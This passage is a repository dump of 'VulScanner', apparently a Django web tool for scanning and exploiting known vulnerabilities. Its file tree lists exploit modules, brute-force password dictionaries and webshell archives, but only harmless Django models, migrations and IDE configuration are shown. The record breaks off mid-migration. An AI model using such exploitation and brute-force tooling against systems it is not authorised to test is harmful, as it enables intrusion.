├── .idea ├── .gitignore ├── encodings.xml ├── inspectionProfiles │ ├── Project_Default.xml │ └── profiles_settings.xml ├── misc.xml ├── modules.xml └── vulscan_Project.iml ├── IpModel ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── admin.cpython-37.pyc │ ├── apps.cpython-37.pyc │ └── models.cpython-37.pyc ├── admin.py ├── apps.py ├── migrations │ ├── 0001_initial.py │ ├── 0002_auto_20210714_1447.py │ ├── __init__.py │ └── __pycache__ │ │ ├── 0001_initial.cpython-37.pyc │ │ ├── 0002_auto_20210714_1447.cpython-37.pyc │ │ └── __init__.cpython-37.pyc ├── models.py ├── tests.py └── views.py ├── PocModel ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── admin.cpython-37.pyc │ ├── apps.cpython-37.pyc │ └── models.cpython-37.pyc ├── admin.py ├── apps.py ├── migrations │ ├── 0001_initial.py │ ├── 0002_auto_20210628_2249.py │ ├── 0003_poc_isuse.py │ ├── 0004_poc_cmd.py │ ├── __init__.py │ └── __pycache__ │ │ ├── 0001_initial.cpython-37.pyc │ │ ├── 0002_auto_20210628_2249.cpython-37.pyc │ │ ├── 0003_poc_isuse.cpython-37.pyc │ │ ├── 0004_poc_cmd.cpython-37.pyc │ │ └── __init__.cpython-37.pyc ├── models.py ├── tests.py └── views.py ├── README.md ├── ScanTaskModel ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── admin.cpython-37.pyc │ ├── apps.cpython-37.pyc │ └── models.cpython-37.pyc ├── admin.py ├── apps.py ├── migrations │ ├── 0001_initial.py │ ├── 0002_auto_20210610_2037.py │ ├── 0003_scantask_ip_range.py │ ├── 0004_rename_ip_count_scantask_task_count.py │ ├── 0005_scantask_ispause.py │ ├── 0006_scantask_vuln_count.py │ ├── 0007_scantask_isstart.py │ ├── 0008_scantask_mode.py │ ├── 0009_scantask_description.py │ ├── 0010_alter_scantask_ip_range.py │ ├── 0011_alter_scantask_ip_range.py │ ├── __init__.py │ └── __pycache__ │ │ ├── 0001_initial.cpython-37.pyc │ │ ├── 0002_auto_20210610_2037.cpython-37.pyc │ │ ├── 0003_scantask_ip_range.cpython-37.pyc │ │ ├── 0004_rename_ip_count_scantask_task_count.cpython-37.pyc │ │ ├── 0005_scantask_ispause.cpython-37.pyc │ │ ├── 0006_scantask_vuln_count.cpython-37.pyc │ │ ├── 0007_scantask_isstart.cpython-37.pyc │ │ ├── 0008_scantask_mode.cpython-37.pyc │ │ ├── 0009_scantask_description.cpython-37.pyc │ │ ├── 0010_alter_scantask_ip_range.cpython-37.pyc │ │ ├── 0011_alter_scantask_ip_range.cpython-37.pyc │ │ └── __init__.cpython-37.pyc ├── models.py ├── tests.py └── views.py ├── ServiceScanModel ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── admin.cpython-37.pyc │ ├── apps.cpython-37.pyc │ └── models.cpython-37.pyc ├── admin.py ├── apps.py ├── migrations │ ├── 0001_initial.py │ ├── 0002_auto_20210610_2005.py │ ├── 0003_servicescan_type.py │ ├── 0004_auto_20210611_1546.py │ ├── 0005_servicescan_vulnerable.py │ ├── 0006_servicescan_note.py │ ├── __init__.py │ └── __pycache__ │ │ ├── 0001_initial.cpython-37.pyc │ │ ├── 0002_auto_20210610_2005.cpython-37.pyc │ │ ├── 0003_servicescan_type.cpython-37.pyc │ │ ├── 0004_auto_20210611_1546.cpython-37.pyc │ │ ├── 0005_servicescan_vulnerable.cpython-37.pyc │ │ ├── 0006_servicescan_note.cpython-37.pyc │ │ └── __init__.cpython-37.pyc ├── models.py ├── tests.py └── views.py ├── VulnScanModel ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── admin.cpython-37.pyc │ ├── apps.cpython-37.pyc │ └── models.cpython-37.pyc ├── admin.py ├── apps.py ├── migrations │ ├── 0001_initial.py │ ├── 0002_vulnscan_isshown.py │ ├── 0003_vulnscan_url.py │ ├── 0004_vulnscan_risk.py │ ├── 0005_alter_vulnscan_risk.py │ ├── 0006_alter_vulnscan_description.py │ ├── 0007_vulnscan_module.py │ ├── 0008_vulnscan_specify.py │ ├── __init__.py │ └── __pycache__ │ │ ├── 0001_initial.cpython-37.pyc │ │ ├── 0002_vulnscan_isshown.cpython-37.pyc │ │ ├── 0003_vulnscan_url.cpython-37.pyc │ │ ├── 0004_vulnscan_risk.cpython-37.pyc │ │ ├── 0005_alter_vulnscan_risk.cpython-37.pyc │ │ ├── 0006_alter_vulnscan_description.cpython-37.pyc │ │ ├── 0007_vulnscan_module.cpython-37.pyc │ │ ├── 0008_vulnscan_specify.cpython-37.pyc │ │ └── __init__.cpython-37.pyc ├── models.py ├── tests.py └── views.py ├── __pycache__ └── manage.cpython-37.pyc ├── config.ini ├── images ├── Image [10].png ├── Image [11].png ├── Image [12].png ├── Image [13].png ├── Image [14].png ├── Image [15].png ├── Image [16].png ├── Image [17].png ├── Image [18].png ├── Image [19].png ├── Image [1].png ├── Image [20].png ├── Image [21].png ├── Image [22].png ├── Image [23].png ├── Image [24].png ├── Image [25].png ├── Image [26].png ├── Image [27].png ├── Image [28].png ├── Image [29].png ├── Image [2].png ├── Image [30].png ├── Image [31].png ├── Image [32].png ├── Image [33].png ├── Image [34].png ├── Image [35].png ├── Image [36].png ├── Image [37].png ├── Image [38].png ├── Image [39].png ├── Image [3].png ├── Image [40].png ├── Image [41].png ├── Image [42].png ├── Image [43].png ├── Image [44].png ├── Image [45].png ├── Image [46].png ├── Image [47].png ├── Image [48].png ├── Image [49].png ├── Image [4].png ├── Image [50].png ├── Image [51].png ├── Image [52].png ├── Image [53].png ├── Image [54].png ├── Image [55].png ├── Image [56].png ├── Image [57].png ├── Image [58].png ├── Image [59].png ├── Image [5].png ├── Image [60].png ├── Image [61].png ├── Image [62].png ├── Image [63].png ├── Image [64].png ├── Image [65].png ├── Image [66].png ├── Image [67].png ├── Image [68].png ├── Image [69].png ├── Image [6].png ├── Image [70].png ├── Image [71].png ├── Image [72].png ├── Image [73].png ├── Image [74].png ├── Image [75].png ├── Image [76].png ├── Image [77].png ├── Image [7].png ├── Image [8].png ├── Image [9].png ├── Image.png ├── image-20210719224540812.png ├── image-20210719224617161.png ├── image-20210719224734519.png └── image-20210719224858111.png ├── install.py ├── manage.py ├── poc.sql ├── requirements.txt ├── statics ├── css │ └── style.css ├── images │ └── logo.jpg ├── js │ ├── func.js │ ├── jquery.cookie.js │ ├── jquery.js │ └── main.js └── plugins │ └── bootstrap │ ├── css │ ├── bootstrap-theme.css │ ├── bootstrap-theme.css.map │ ├── bootstrap-theme.min.css │ ├── bootstrap-theme.min.css.map │ ├── bootstrap.css │ ├── bootstrap.css.map │ ├── bootstrap.min.css │ └── bootstrap.min.css.map │ ├── fonts │ ├── glyphicons-halflings-regular.eot │ ├── glyphicons-halflings-regular.svg │ ├── glyphicons-halflings-regular.ttf │ ├── glyphicons-halflings-regular.woff │ └── glyphicons-halflings-regular.woff2 │ └── js │ ├── bootstrap.js │ ├── bootstrap.min.js │ └── npm.js ├── templates ├── fofa_scan.html ├── ip_list.html ├── ip_scan.html ├── main.html ├── menu.html ├── poc_list.html ├── service_scan.html ├── table.html ├── task_list.html └── vuln_scan.html ├── templatetags ├── __pycache__ │ └── my_tags.cpython-37.pyc └── my_tags.py └── vulscan_Project ├── ExpUtil.py ├── IpModelUtil.py ├── IpUtil.py ├── __init__.py ├── __pycache__ ├── ExpUtil.cpython-37.pyc ├── IpModelUtil.cpython-37.pyc ├── IpUtil.cpython-37.pyc ├── __init__.cpython-37.pyc ├── fileUtil.cpython-37.pyc ├── json.cpython-37.pyc ├── pageUtil.cpython-37.pyc ├── pocModelUtil.cpython-37.pyc ├── pocUtil.cpython-37.pyc ├── requestUtil.cpython-37.pyc ├── scan.cpython-37.pyc ├── serviceUtil.cpython-37.pyc ├── settings.cpython-37.pyc ├── test.cpython-37.pyc ├── urls.cpython-37.pyc ├── vulnUtil.cpython-37.pyc └── wsgi.cpython-37.pyc ├── asgi.py ├── dict ├── dict_cobaltstrike │ ├── dic_password_cobaltstrike.txt │ └── dic_username_cobaltstrike.txt ├── dict_ftp │ ├── dic_password_ftp.txt │ └── dic_username_ftp.txt ├── dict_mongodb │ ├── dic_password_mongodb.txt │ └── dic_username_mongodb.txt ├── dict_mssql │ ├── dic_password_mssql.txt │ └── dic_username_mssql.txt ├── dict_mysql │ ├── dic_password_mysql.txt │ └── dic_username_mysql.txt ├── dict_postgresql │ ├── dic_password_postgresql.txt │ └── dic_username_postgresql.txt ├── dict_redis │ ├── dic_password_redis.txt │ └── dic_username_redis.txt ├── dict_shiro │ ├── key.txt │ └── payload.ser ├── dict_smb │ ├── dic_password_smb.txt │ └── dic_username_smb.txt ├── dict_ssh │ ├── dic_password_ssh.txt │ ├── dic_password_ssh_2.txt │ └── dic_username_ssh.txt ├── dict_telnet │ ├── dic_password_ssh.txt │ └── dic_username_ssh.txt ├── dict_tomcat │ └── dic_tomcat_key.txt ├── dict_webauth │ ├── dic_password_webauth.txt │ └── dic_username_webauth.txt ├── dict_weblogic │ ├── dic_password_weblogic.txt │ └── dic_username_weblogic.txt └── dict_wmi │ ├── dic_password_wmi.txt │ └── dic_username_wmi.txt ├── dnsT00l.py ├── fileUtil.py ├── json.py ├── modules ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── apache_flink_file_exp.cpython-37.pyc │ ├── apache_flink_file_poc.cpython-37.pyc │ ├── apache_solr_file_exp.cpython-37.pyc │ ├── apache_solr_file_poc.cpython-37.pyc │ ├── apache_solr_velocity_exp.cpython-37.pyc │ ├── apache_solr_velocity_poc.cpython-37.pyc │ ├── axis2_password_exp.cpython-37.pyc │ ├── axis2_password_poc.cpython-37.pyc │ ├── burp_sql_pwd_poc.cpython-37.pyc │ ├── burp_tomcat_exp.cpython-37.pyc │ ├── burp_tomcat_poc.cpython-37.pyc │ ├── daloradius_pwd_exp.cpython-37.pyc │ ├── daloradius_pwd_poc.cpython-37.pyc │ ├── docker_poc.cpython-37.pyc │ ├── fineport_v8_file_exp.cpython-37.pyc │ ├── fineport_v8_file_poc.cpython-37.pyc │ ├── h3c_secparth_rce_exp.cpython-37.pyc │ ├── h3c_secparth_rce_poc.cpython-37.pyc │ ├── inspur_rce_exp.cpython-37.pyc │ ├── inspur_rce_poc.cpython-37.pyc │ ├── jumpserver_logs_poc.cpython-37.pyc │ ├── landary_file_exp.cpython-37.pyc │ ├── landary_file_poc.cpython-37.pyc │ ├── minio_ssrf_poc.cpython-37.pyc │ ├── nc_bsh_rce_exp.cpython-37.pyc │ ├── nc_bsh_rce_poc.cpython-37.pyc │ ├── nete_firewall_exp.cpython-37.pyc │ ├── nete_firewall_poc.cpython-37.pyc │ ├── node_red_file_exp.cpython-37.pyc │ ├── node_red_file_poc.cpython-37.pyc │ ├── safe_md5_pwd_poc.cpython-37.pyc │ ├── sangfor_safe_rce_poc.cpython-37.pyc │ ├── seeyon_webmail_exp.cpython-37.pyc │ ├── seeyon_webmail_poc.cpython-37.pyc │ ├── shiro_deserialize_poc.cpython-37.pyc │ ├── showdoc_exp.cpython-37.pyc │ ├── showdoc_poc.cpython-37.pyc │ ├── ssh_burp_exp.cpython-37.pyc │ ├── ssh_burp_poc.cpython-37.pyc │ ├── thinkphp5_rce_exp.cpython-37.pyc │ ├── thinkphp5_rce_poc.cpython-37.pyc │ ├── thinkphp_debug_exp.cpython-37.pyc │ ├── thinkphp_debug_poc.cpython-37.pyc │ ├── tianqin_sql_poc.cpython-37.pyc │ ├── vesystem_rce_exp.cpython-37.pyc │ ├── vesystem_rce_poc.cpython-37.pyc │ ├── weblogic_console_unauthorize_poc.cpython-37.pyc │ ├── weblogic_pwd_poc.cpython-37.pyc │ ├── weblogic_wls9_exp.cpython-37.pyc │ ├── weblogic_wls9_poc.cpython-37.pyc │ ├── weblogic_xml_exp.cpython-37.pyc │ ├── weblogic_xml_poc.cpython-37.pyc │ ├── wui_file_poc.cpython-37.pyc │ ├── wui_sql_poc.cpython-37.pyc │ ├── wui_xml_poc.cpython-37.pyc │ └── zyxel_user_poc.cpython-37.pyc ├── apache_flink_file_exp.py ├── apache_flink_file_poc.py ├── apache_solr_file_exp.py ├── apache_solr_file_poc.py ├── apache_solr_velocity_exp.py ├── apache_solr_velocity_poc.py ├── axis2_password_exp.py ├── axis2_password_poc.py ├── burp_sql_pwd_poc.py ├── burp_tomcat_exp.py ├── burp_tomcat_poc.py ├── docker_poc.py ├── fineport_v8_file_exp.py ├── fineport_v8_file_poc.py ├── h3c_secparth_rce_exp.py ├── h3c_secparth_rce_poc.py ├── inspur_rce_exp.py ├── inspur_rce_poc.py ├── jumpserver_logs_poc.py ├── landary_file_exp.py ├── landary_file_poc.py ├── minio_ssrf_poc.py ├── ms17_010_poc.py ├── nc_bsh_rce_exp.py ├── nc_bsh_rce_poc.py ├── nete_firewall_exp.py ├── nete_firewall_poc.py ├── node_red_file_exp.py ├── node_red_file_poc.py ├── safe_md5_pwd_poc.py ├── sangfor_safe_rce_exp.py ├── sangfor_safe_rce_poc.py ├── seeyon_webmail_exp.py ├── seeyon_webmail_poc.py ├── shiro_deserialize_poc.py ├── showdoc_exp.py ├── showdoc_poc.py ├── ssh_burp_exp.py ├── ssh_burp_poc.py ├── thinkphp5_rce_exp.py ├── thinkphp5_rce_poc.py ├── thinkphp_debug_exp.py ├── thinkphp_debug_poc.py ├── tianqin_sql_poc.py ├── vesystem_rce_exp.py ├── vesystem_rce_poc.py ├── weblogic_console_unauthorize_poc.py ├── weblogic_pwd_poc.py ├── weblogic_wls9_exp.py ├── weblogic_wls9_poc.py ├── weblogic_xml_exp.py ├── weblogic_xml_poc.py ├── wui_file_poc.py ├── wui_sql_poc.py ├── wui_xml_poc.py └── zyxel_user_poc.py ├── pageUtil.py ├── pocModelUtil.py ├── pocUtil.py ├── requestUtil.py ├── scan.py ├── serviceUtil.py ├── settings.py ├── temp ├── exp_temp.txt └── poc_temp.txt ├── test.py ├── urls.py ├── vulnUtil.py ├── webshell ├── config.aar └── zs.war └── wsgi.py /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /../../../../../../:\Users\Administrator\PycharmProjects\vulscan_Project\.idea/dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 28 | -------------------------------------------------------------------------------- /.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/vulscan_Project.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 27 | 28 | -------------------------------------------------------------------------------- /IpModel/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/__init__.py -------------------------------------------------------------------------------- /IpModel/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /IpModel/__pycache__/admin.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/__pycache__/admin.cpython-37.pyc -------------------------------------------------------------------------------- /IpModel/__pycache__/apps.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/__pycache__/apps.cpython-37.pyc -------------------------------------------------------------------------------- /IpModel/__pycache__/models.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/__pycache__/models.cpython-37.pyc -------------------------------------------------------------------------------- /IpModel/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /IpModel/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class IpmodelConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'IpModel' 7 | -------------------------------------------------------------------------------- /IpModel/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-14 03:27 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | initial = True 9 | 10 | dependencies = [ 11 | ] 12 | 13 | operations = [ 14 | migrations.CreateModel( 15 | name='ServiceScan', 16 | fields=[ 17 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 18 | ('taskid', models.IntegerField(default=1)), 19 | ('ip', models.CharField(max_length=50)), 20 | ('location', models.CharField(max_length=100)), 21 | ], 22 | ), 23 | ] 24 | -------------------------------------------------------------------------------- /IpModel/migrations/0002_auto_20210714_1447.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-14 06:47 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('IpModel', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.CreateModel( 14 | name='IpScan', 15 | fields=[ 16 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 17 | ('taskid', models.IntegerField(default=1)), 18 | ('ip', models.CharField(max_length=50)), 19 | ('location', models.CharField(max_length=100)), 20 | ('isShown', models.BooleanField(default=False)), 21 | ], 22 | ), 23 | migrations.DeleteModel( 24 | name='ServiceScan', 25 | ), 26 | ] 27 | -------------------------------------------------------------------------------- /IpModel/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/migrations/__init__.py -------------------------------------------------------------------------------- /IpModel/migrations/__pycache__/0001_initial.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/migrations/__pycache__/0001_initial.cpython-37.pyc -------------------------------------------------------------------------------- /IpModel/migrations/__pycache__/0002_auto_20210714_1447.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/migrations/__pycache__/0002_auto_20210714_1447.cpython-37.pyc -------------------------------------------------------------------------------- /IpModel/migrations/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/IpModel/migrations/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /IpModel/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | class IpScan(models.Model): 4 | taskid = models.IntegerField(default=1) 5 | ip = models.CharField(max_length=50) 6 | location = models.CharField(max_length=100) 7 | isShown = models.BooleanField(default=False) 8 | 9 | 10 | 11 | # Create your models here. 12 | -------------------------------------------------------------------------------- /IpModel/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /IpModel/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | -------------------------------------------------------------------------------- /PocModel/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/__init__.py -------------------------------------------------------------------------------- /PocModel/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/__pycache__/admin.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/__pycache__/admin.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/__pycache__/apps.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/__pycache__/apps.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/__pycache__/models.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/__pycache__/models.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /PocModel/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class PocmodelConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'PocModel' 7 | -------------------------------------------------------------------------------- /PocModel/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-28 13:38 2 | 3 | from django.db import migrations, models 4 | import django.utils.timezone 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | initial = True 10 | 11 | dependencies = [ 12 | ] 13 | 14 | operations = [ 15 | migrations.CreateModel( 16 | name='Poc', 17 | fields=[ 18 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 19 | ('poc_name', models.DateField(default=django.utils.timezone.now)), 20 | ('real_name', models.CharField(default='', max_length=50)), 21 | ('mode', models.CharField(default='', max_length=50)), 22 | ('risk', models.CharField(default='high', max_length=50)), 23 | ('hasExp', models.BooleanField(default=False)), 24 | ], 25 | ), 26 | ] 27 | -------------------------------------------------------------------------------- /PocModel/migrations/0002_auto_20210628_2249.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-28 14:49 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('PocModel', '0001_initial'), 10 | ] 11 | 12 | operations = [ 13 | migrations.RenameField( 14 | model_name='poc', 15 | old_name='mode', 16 | new_name='type', 17 | ), 18 | migrations.AlterField( 19 | model_name='poc', 20 | name='poc_name', 21 | field=models.CharField(default='', max_length=50), 22 | ), 23 | ] 24 | -------------------------------------------------------------------------------- /PocModel/migrations/0003_poc_isuse.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-28 15:35 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('PocModel', '0002_auto_20210628_2249'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='poc', 15 | name='isUse', 16 | field=models.BooleanField(default=True), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /PocModel/migrations/0004_poc_cmd.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-07-11 04:52 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | dependencies = [ 9 | ('PocModel', '0003_poc_isuse'), 10 | ] 11 | 12 | operations = [ 13 | migrations.AddField( 14 | model_name='poc', 15 | name='cmd', 16 | field=models.CharField(default='', max_length=50), 17 | ), 18 | ] 19 | -------------------------------------------------------------------------------- /PocModel/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/migrations/__init__.py -------------------------------------------------------------------------------- /PocModel/migrations/__pycache__/0001_initial.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/migrations/__pycache__/0001_initial.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/migrations/__pycache__/0002_auto_20210628_2249.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/migrations/__pycache__/0002_auto_20210628_2249.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/migrations/__pycache__/0003_poc_isuse.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/migrations/__pycache__/0003_poc_isuse.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/migrations/__pycache__/0004_poc_cmd.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/migrations/__pycache__/0004_poc_cmd.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/migrations/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/PocModel/migrations/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /PocModel/models.py: -------------------------------------------------------------------------------- 1 | import datetime 2 | 3 | from django.db import models 4 | from django.utils.timezone import now 5 | 6 | 7 | class Poc(models.Model): 8 | poc_name = models.CharField(max_length=50, default="") 9 | real_name = models.CharField(max_length=50, default="") 10 | type = models.CharField(max_length=50, default="") 11 | risk = models.CharField(max_length=50, default="high") # high, medium, low 12 | hasExp = models.BooleanField(default=False) 13 | isUse = models.BooleanField(default=True) 14 | cmd = models.CharField(max_length=50, default="") 15 | 16 | 17 | # Create your models here. 18 | -------------------------------------------------------------------------------- /PocModel/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /PocModel/views.py: -------------------------------------------------------------------------------- 1 | from django.shortcuts import render 2 | 3 | # Create your views here. 4 | -------------------------------------------------------------------------------- /ScanTaskModel/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/__init__.py -------------------------------------------------------------------------------- /ScanTaskModel/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/__pycache__/admin.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/__pycache__/admin.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/__pycache__/apps.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/__pycache__/apps.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/__pycache__/models.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cn-xwhat/VulScanner/b249e00cacaff42d6eb99e3f4e60532dcf3416ff/ScanTaskModel/__pycache__/models.cpython-37.pyc -------------------------------------------------------------------------------- /ScanTaskModel/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | # Register your models here. 4 | -------------------------------------------------------------------------------- /ScanTaskModel/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class ScantaskmodelConfig(AppConfig): 5 | default_auto_field = 'django.db.models.BigAutoField' 6 | name = 'ScanTaskModel' 7 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-10 12:05 2 | 3 | from django.db import migrations, models 4 | 5 | 6 | class Migration(migrations.Migration): 7 | 8 | initial = True 9 | 10 | dependencies = [ 11 | ] 12 | 13 | operations = [ 14 | migrations.CreateModel( 15 | name='ServiceScan', 16 | fields=[ 17 | ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 18 | ('start_time', models.DateField()), 19 | ('ip_count', models.IntegerField(default=0)), 20 | ('service_process', models.FloatField(default=0)), 21 | ('vuln_process', models.FloatField(default=0)), 22 | ], 23 | ), 24 | ] 25 | -------------------------------------------------------------------------------- /ScanTaskModel/migrations/0002_auto_20210610_2037.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.2.1 on 2021-06-10 12:37 2 | 3 | from django.db import migrations, models 